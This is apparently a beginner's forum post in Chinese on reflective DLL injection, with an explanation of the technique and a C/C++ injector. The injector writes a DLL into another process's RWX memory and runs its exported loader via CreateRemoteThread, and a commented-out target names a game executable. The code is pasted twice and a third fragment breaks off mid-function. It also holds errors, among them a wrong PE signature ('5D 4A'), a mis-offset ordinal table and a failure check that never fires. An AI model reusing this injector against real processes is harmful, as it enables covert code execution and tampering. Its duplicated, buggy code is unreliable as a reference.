首页
社区
课程
招聘
[原创]学习PE文件后的第一次实践项目之DLL反射型注入
发表于: 4小时前 149

[原创]学习PE文件后的第一次实践项目之DLL反射型注入

4小时前
149

本篇文章为新生小白学习PE文件之后进行练习所写,肯定会有很多不足之处,欢迎大师傅们点出

先看普通型的注入,如下:

普通的dll注入是在目标进程中开辟一处空间,在空间中写入dll文件的名称,再用LoadLibraryA函数通过查找名称来加载dll,而想在程序里调用LoadLibraryA的话就得用到CreateRemoteThread函数,这个函数传递的参数之一就有函数指针,等到CreateRemoteThread创建新线程之后,就会在新线程中调用这个过度函数,其二的参数就是传给指针的参数

这里插一句,在我多次用x64dbg调试得到的感悟,CreateRemoteThread这个函数,相当于开辟了一个不知道在哪的空间,在这个地方引用你要传入的函数

反射型dll注入则是将整个DLL文件传到目标进程的空间中,然后通过CreateRemoteThread调用一段shellcode,将DLL展开,并运行

首先查找目标进程的Id,函数的实现不多说了

然后就是注入的程序,思路是先开辟空间,写入DLL文件,然后找到shellcode,最后用CreatERemoteThread函数进入目标进程中

接下来是写入DLL,这里我选择,先在本地读取磁盘文件,然后通过WriteProcessMemory实现远程写入

这里是对本地文件的读取,并且这里的pBuf指向的是本地文件读取以后的基地址

这里做到的便是写入dll但是注意,写入的也是磁盘文件,因为后续要实现对dll文件的展开,映射成内存文件

那就需要两个空间,一个空间是注入原封不动的磁盘文件,另一个是展开需要的空间,但是CreateRemoteThread只可以传入一个参数,那么就不考虑两个空间两个指针了,(其实也可以传入存放给内存空间开辟的地址指针,然后再shellcode里面向回遍历,直到检测到“5D 4A”PE文件头,就获取了磁盘文件的空间指针),一个指针的话,开辟空间的时候就开辟两个ImageSize的空间,然后pDll+ImageSize就是第二个指针了

注意这里获取的是文件偏移地址,因为此时的dll还没有展开(当然你也可以选择,所有的东西现在本地展开一次,然后写入展开后的程序,这样子就可以正常使用函数RVA,后续只需要修复重定位和导入函数了),所以找的不是RVA,而是文件偏移

这个函数的实现,是通过查找dll文件中的导出函数,遍历所有导出函数找到目标函数的RVA,然后需要对RVA转换为文件偏移地址,不过要注意,在文件没有展开之前导出表,以及导出表里的信息都是RVA,需要转换为文件偏移地址,那么写一个RVA-文件偏移就非常方便了

这个的实现是,先查找处于哪个节区,然后通过节区表的首地址经过RVA-虚拟首地址+节区初始地址的真实地址

然后就用CreateRemoteThread创造新线程,然后就可以插入shellcode了

我将一个文件的展开过程分为两部分,一部分是映射文件头和节区段,另一部分是修复重定位表和导入表

这部分相对简单,而且这个部分在里面和外面都可以实现,赋值文件头,然后根据节区头里面的文件偏移和虚拟地址偏移来映射就好

注意这里结束以后,节区表就修复完成了,所以可以使用自己封装的函数了

根据数据目录表定位重定位表,再根据重定位表结构来进行修复

导入表的修复是比较困难的,再导入表修复前是不可以使用API的,但是在修复导入表这个过程中,不可避免的要用到LoadLibraryA与GetProcAddress,所以就需要一个新东西先找到这两个函数

这里我没有过多的去了解,仅仅知道TEB是线程环境块,其中存储着PEB的指针,PEB是一个进程环境块,其中有一个叫PEB.Ldr的结构体,里面存储着已经加载的DLL文件指针

也就是说可以通过查找PEB.Ldr来找到kernel32.dll模块的句柄,然后找到其中的API,PEB.Ldr的结构如下

理论可行,实践开始

直到这一步是在定位到载入的模块的句柄,后续需要的是遍历载入的模块

从模块基地址中提取模块句柄,然后分析PE文件导出表获取函数名,对比获得函数在当前进程中的地址

通过LoadLibrarA和GetProcAddress函数修复导入表

结束

没啥区别,先扩展到节区表,再用函数,再创建线程,这样做的好处就是不需要再算文件偏移,并且开辟空间的时候更小

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
 
 
DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);
LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf);
DWORD ProcesstoPid(wchar_t* Processname);
BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname);
 
 
int main() {
    //先定义需要注入的dll与目标进程的名字
    //wchar_t szProcName[MAX_PATH] = L"cs2.exe";
    wchar_t szProcName[MAX_PATH] = L"pta.exe";
    char Dllname[MAX_PATH] = "D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll";
 
 
    //查找获得目标进程的id
    DWORD dwPid = ProcesstoPid(szProcName);
    //写入dll文件,这里思考一下,传入的参数都是什么呢?
    //因为在这个函数里,我们要做的是将dll文件写入,并且用其中的函数
    //dll中的API将会作为参数出现,所以传入的是进程id和dll函数目录
    DWORD result = MainInject(dwPid, Dllname);
 
}
 
DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID)
{
    HANDLE hProcessSnap = NULL;
    DWORD ProcessId = 0;
    PROCESSENTRY32 pe32 = { 0 };
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照
    if (hProcessSnap == (HANDLE)-1)
    {
        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());
        return 0;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hProcessSnap, &pe32)) //开始枚举进程
    {
        do
        {
            if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID
            {
                ProcessId = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程
    }
    else
    {
        printf("\n[-] Process32First() Error: %d", GetLastError());
        return 0;
    }
    if (!ProcessId) printf("no find");
    else printf("[+] target id is %d", ProcessId);
    CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
    return ProcessId;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
    // 遍历节区表
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        // 检查RVA是否在当前节区的范围内
        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            // 转换RVA到文件偏移地址
            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
        }
    }
    // 如果未找到对应的节区,返回无效值
    return 0xFFFFFFFF;
}
 
//该函数通过分析PE文件头来尝试获取句柄
LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {
    //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
 
    //定位一些相关文件头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
 
    //获取导出表地址及大小,注意这里是RVA
    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
 
    //定位导出表
    //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);
 
    //转换之后RVA就变成了文件偏移,然后再定位
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);
 
    //解析导出表,这里同理都是RVA
    DWORD pRNames = pExportDir->AddressOfNames;
    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);
 
    DWORD pRFunctions = pExportDir->AddressOfFunctions;
    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);
 
    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);
 
    // 遍历查找目标函数
    DWORD funcRVA = 0;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        DWORD functionNameRVA = pNames[i];
        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);
        if (strcmp(pName, funcName) == 0) {
            funcRVA = pFunctions[i];
            break;
        }
    }
    if (funcRVA == 0) {
        printf("\n[-] Function %s not found.", funcName);
        return NULL;
    }
 
    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);
    if (fileOffset == 0) {
        printf("\n[-] Failed to convert RVA to file offset.");
        return NULL;
    }
 
 
    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;
    return remoteFuncAddr;
}
 
BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname)
{
    //与普通dll注入一样,首先要做的是获取句柄
    HANDLE hProc = NULL;
 
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
    if (!hProc)
    {
        printf("\n[-] OpenProcess Failed.");
        DWORD dwError = GetLastError();
        printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);
        return FALSE;
    }
 
    //有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
    //ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
 
    HANDLE hFile = CreateFileA(Dllname,
        GENERIC_READ,                           //读取权限
        FILE_SHARE_READ | FILE_SHARE_WRITE,     //允许其他进程读取文件|允许其他进程写入文件
        NULL,                                   //不需要特定的安全性
        OPEN_EXISTING,                          //不需要特定的安全性
        FILE_ATTRIBUTE_NORMAL,                  //如果文件存在,则打开文件。如果文件不存在,操作会失败
        NULL                                    //普通文件,没有特殊属性。
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("\n[-] CreateFileA failed.");
        return FALSE;
    }
 
    DWORD FileSize = GetFileSize(hFile, NULL);
    LPDWORD SizeToRead = 0;
    //本地暂存
    unsigned char* pBuf = new unsigned char[FileSize];
    ZeroMemory(pBuf, FileSize);
    int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);  //读取文件放在开辟的空间里,pBuf为空间句柄
    if (result == 0)
    {
        printf("\n[-] 文件读取失败");
        return FALSE;
    }
    //对接下来开辟的空间进行计算大小
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));
    DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;
 
    //开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
    //这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
    //这里创建的时候一下子创两个
    //刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
    ULONG_PTR TotalSize = ImageSize + ImageSize;
    printf("\n[+] FileSize : %p", FileSize);
    printf("\n[+] ImageSize: %p", ImageSize);
    printf("\n[+] TotalSize: %p", TotalSize);
    //这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
    LPVOID pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pDll == NULL) {
        printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());
        return FALSE;
    }
 
    // 清零目标进程内存
    SIZE_T sizeToZero = TotalSize; // 需要清零的字节数
    BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区
    if (zeroBuffer == NULL) {
        printf("Failed to allocate zero buffer.\n");
        return -1;
    }
    // 写入全零到目标内存
    if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
        DWORD errorCode = GetLastError();
        printf("WriteProcessMemory failed with error code: %lu\n", errorCode);
    }
    // 释放缓冲区
    free(zeroBuffer);
 
    //将dll文件写入进去
    if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
        return FALSE;
    }
 
 
    //接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
    //注意前文开辟的"类磁盘"空间中的pDll
    // 假设 ReflectLoader 是目标函数名
    const char* reflectFuncName = "ReflectLoader";
 
    // 获取 ReflectLoader 在目标进程内存中的地址
    LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
    if (!pReflectLoader) {
        printf("[-] Failed to find ReflectLoader.\n");
        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
        return FALSE;
    }
 
    LPVOID pAlloc = (LPVOID)((ULONG_PTR)pDll + ImageSize);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pAlloc + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pDll + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
    printf("\n[+] Dll磁盘起始地址:%p", pDll);
    printf("\n[+] Dll磁盘终止地址:%p", (ULONG_PTR)pDll + FileSize);
    printf("\n[+] Dll内存起始地址:%p", pAlloc);
    printf("\n[+] Dll整体结束地址:%p", (ULONG_PTR)pAlloc + ImageSize);
 
    printf("\n[+] 磁盘中Nt表头地址:%p", (ULONG_PTR)pDll + pDos->e_lfanew);
    printf("\n[+] 内存中Nt表头地址:%p", (ULONG_PTR)pAlloc + pDos->e_lfanew);
    printf("\n[+] 磁盘中Sec表头地址:%p", pSect);
    printf("\n[+] 内存中Sec表头地址:%p", pSec);
 
    printf("\n[+] 重定位表基址:%p", pBaseReloc);
    printf("\n[+] 重定位表RVA:%p", (ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);
    DWORD Relco = RVAtoFileOffset((DWORD)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);
    printf("\n[+] 重定位表文件偏移:%p", (ULONG_PTR)pDll + Relco);
 
    //DWORD SecNum = pNt->FileHeader.NumberOfSections;
    //for (int i = 0; i < SecNum; i++) {
    //  if (pSection->SizeOfRawData == 0 || pSection->PointerToRawData == 0) {
    //      pSection++;
    //      continue;
    //  }
    //  char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSection->PointerToRawData));
    //  char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSection->PointerToRawData));
    //  printf("\n[+] 磁盘中第%d个节区表对应文件地址:%p",i, chSrcMem);
    //  printf("\n[+] 内存中第%d个节区表对应文件地址:%p",i, chDestMem);
    //  pSection++;
    //}
    printf("\n[+] 函数 address:%p", pReflectLoader);
    // 调用 ReflectLoader 函数
    HANDLE hThread = CreateRemoteThread(
        hProc,                       // 目标进程句柄
        NULL,                        // 默认安全属性
        0,                           // 默认堆栈大小
        (LPTHREAD_START_ROUTINE)pReflectLoader, // ReflectLoader 地址
        pDll,                        // 参数:DLL 的基址
        0,                           // 默认创建标志
        NULL                         // 不需要线程 ID
    );
 
    if (!hThread) {
        printf("\n[-] CreateRemoteThread failed: %d", GetLastError());
        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
        return FALSE;
    }
 
    printf("\n[+] ReflectLoader executed successfully.");
 
    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
 
    return TRUE;
 
}
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
 
 
DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);
LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf);
DWORD ProcesstoPid(wchar_t* Processname);
BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname);
 
 
int main() {
    //先定义需要注入的dll与目标进程的名字
    //wchar_t szProcName[MAX_PATH] = L"cs2.exe";
    wchar_t szProcName[MAX_PATH] = L"pta.exe";
    char Dllname[MAX_PATH] = "D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll";
 
 
    //查找获得目标进程的id
    DWORD dwPid = ProcesstoPid(szProcName);
    //写入dll文件,这里思考一下,传入的参数都是什么呢?
    //因为在这个函数里,我们要做的是将dll文件写入,并且用其中的函数
    //dll中的API将会作为参数出现,所以传入的是进程id和dll函数目录
    DWORD result = MainInject(dwPid, Dllname);
 
}
 
DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID)
{
    HANDLE hProcessSnap = NULL;
    DWORD ProcessId = 0;
    PROCESSENTRY32 pe32 = { 0 };
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照
    if (hProcessSnap == (HANDLE)-1)
    {
        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());
        return 0;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hProcessSnap, &pe32)) //开始枚举进程
    {
        do
        {
            if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID
            {
                ProcessId = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程
    }
    else
    {
        printf("\n[-] Process32First() Error: %d", GetLastError());
        return 0;
    }
    if (!ProcessId) printf("no find");
    else printf("[+] target id is %d", ProcessId);
    CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
    return ProcessId;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
    // 遍历节区表
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        // 检查RVA是否在当前节区的范围内
        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            // 转换RVA到文件偏移地址
            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
        }
    }
    // 如果未找到对应的节区,返回无效值
    return 0xFFFFFFFF;
}
 
//该函数通过分析PE文件头来尝试获取句柄
LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {
    //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
 
    //定位一些相关文件头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
 
    //获取导出表地址及大小,注意这里是RVA
    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
 
    //定位导出表
    //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);
 
    //转换之后RVA就变成了文件偏移,然后再定位
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);
 
    //解析导出表,这里同理都是RVA
    DWORD pRNames = pExportDir->AddressOfNames;
    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);
 
    DWORD pRFunctions = pExportDir->AddressOfFunctions;
    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);
 
    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);
 
    // 遍历查找目标函数
    DWORD funcRVA = 0;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        DWORD functionNameRVA = pNames[i];
        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);
        if (strcmp(pName, funcName) == 0) {
            funcRVA = pFunctions[i];
            break;
        }
    }
    if (funcRVA == 0) {
        printf("\n[-] Function %s not found.", funcName);
        return NULL;
    }
 
    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);
    if (fileOffset == 0) {
        printf("\n[-] Failed to convert RVA to file offset.");
        return NULL;
    }
 
 
    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;
    return remoteFuncAddr;
}
 
BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname)
{
    //与普通dll注入一样,首先要做的是获取句柄
    HANDLE hProc = NULL;
 
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
    if (!hProc)
    {
        printf("\n[-] OpenProcess Failed.");
        DWORD dwError = GetLastError();
        printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);
        return FALSE;
    }
 
    //有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
    //ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
 
    HANDLE hFile = CreateFileA(Dllname,
        GENERIC_READ,                           //读取权限
        FILE_SHARE_READ | FILE_SHARE_WRITE,     //允许其他进程读取文件|允许其他进程写入文件
        NULL,                                   //不需要特定的安全性
        OPEN_EXISTING,                          //不需要特定的安全性
        FILE_ATTRIBUTE_NORMAL,                  //如果文件存在,则打开文件。如果文件不存在,操作会失败
        NULL                                    //普通文件,没有特殊属性。
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("\n[-] CreateFileA failed.");
        return FALSE;
    }
 
    DWORD FileSize = GetFileSize(hFile, NULL);
    LPDWORD SizeToRead = 0;
    //本地暂存
    unsigned char* pBuf = new unsigned char[FileSize];
    ZeroMemory(pBuf, FileSize);
    int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);  //读取文件放在开辟的空间里,pBuf为空间句柄
    if (result == 0)
    {
        printf("\n[-] 文件读取失败");
        return FALSE;
    }
    //对接下来开辟的空间进行计算大小
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));
    DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;
 
    //开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
    //这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
    //这里创建的时候一下子创两个
    //刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
    ULONG_PTR TotalSize = ImageSize + ImageSize;
    printf("\n[+] FileSize : %p", FileSize);
    printf("\n[+] ImageSize: %p", ImageSize);
    printf("\n[+] TotalSize: %p", TotalSize);
    //这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
    LPVOID pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pDll == NULL) {
        printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());
        return FALSE;
    }
 
    // 清零目标进程内存
    SIZE_T sizeToZero = TotalSize; // 需要清零的字节数
    BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区
    if (zeroBuffer == NULL) {
        printf("Failed to allocate zero buffer.\n");
        return -1;
    }
    // 写入全零到目标内存
    if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
        DWORD errorCode = GetLastError();
        printf("WriteProcessMemory failed with error code: %lu\n", errorCode);
    }
    // 释放缓冲区
    free(zeroBuffer);
 
    //将dll文件写入进去
    if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
        return FALSE;
    }
 
 
    //接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
    //注意前文开辟的"类磁盘"空间中的pDll
    // 假设 ReflectLoader 是目标函数名
    const char* reflectFuncName = "ReflectLoader";
 
    // 获取 ReflectLoader 在目标进程内存中的地址
    LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
    if (!pReflectLoader) {
        printf("[-] Failed to find ReflectLoader.\n");
        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
        return FALSE;
    }
 
    LPVOID pAlloc = (LPVOID)((ULONG_PTR)pDll + ImageSize);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pAlloc + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pDll + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
    printf("\n[+] Dll磁盘起始地址:%p", pDll);
    printf("\n[+] Dll磁盘终止地址:%p", (ULONG_PTR)pDll + FileSize);
    printf("\n[+] Dll内存起始地址:%p", pAlloc);
    printf("\n[+] Dll整体结束地址:%p", (ULONG_PTR)pAlloc + ImageSize);
 
    printf("\n[+] 磁盘中Nt表头地址:%p", (ULONG_PTR)pDll + pDos->e_lfanew);
    printf("\n[+] 内存中Nt表头地址:%p", (ULONG_PTR)pAlloc + pDos->e_lfanew);
    printf("\n[+] 磁盘中Sec表头地址:%p", pSect);
    printf("\n[+] 内存中Sec表头地址:%p", pSec);
 
    printf("\n[+] 重定位表基址:%p", pBaseReloc);
    printf("\n[+] 重定位表RVA:%p", (ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);
    DWORD Relco = RVAtoFileOffset((DWORD)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);
    printf("\n[+] 重定位表文件偏移:%p", (ULONG_PTR)pDll + Relco);
 
    //DWORD SecNum = pNt->FileHeader.NumberOfSections;
    //for (int i = 0; i < SecNum; i++) {
    //  if (pSection->SizeOfRawData == 0 || pSection->PointerToRawData == 0) {
    //      pSection++;
    //      continue;
    //  }
    //  char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSection->PointerToRawData));
    //  char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSection->PointerToRawData));
    //  printf("\n[+] 磁盘中第%d个节区表对应文件地址:%p",i, chSrcMem);
    //  printf("\n[+] 内存中第%d个节区表对应文件地址:%p",i, chDestMem);
    //  pSection++;
    //}
    printf("\n[+] 函数 address:%p", pReflectLoader);
    // 调用 ReflectLoader 函数
    HANDLE hThread = CreateRemoteThread(
        hProc,                       // 目标进程句柄
        NULL,                        // 默认安全属性
        0,                           // 默认堆栈大小
        (LPTHREAD_START_ROUTINE)pReflectLoader, // ReflectLoader 地址
        pDll,                        // 参数:DLL 的基址
        0,                           // 默认创建标志
        NULL                         // 不需要线程 ID
    );
 
    if (!hThread) {
        printf("\n[-] CreateRemoteThread failed: %d", GetLastError());
        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
        return FALSE;
    }
 
    printf("\n[+] ReflectLoader executed successfully.");
 
    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
 
    return TRUE;
 
}
DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID)
{
    HANDLE hProcessSnap = NULL;
    DWORD ProcessId = 0;
    PROCESSENTRY32 pe32 = { 0 };
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照
    if (hProcessSnap == (HANDLE)-1)
    {
        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());
        return 0;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hProcessSnap, &pe32)) //开始枚举进程
    {
        do
        {
            if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID
            {
                ProcessId = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程
    }
    else
    {
        printf("\n[-] Process32First() Error: %d", GetLastError());
        return 0;
    }
    if (!ProcessId) printf("\nno find");
    else printf("[+] target id is %d", ProcessId);
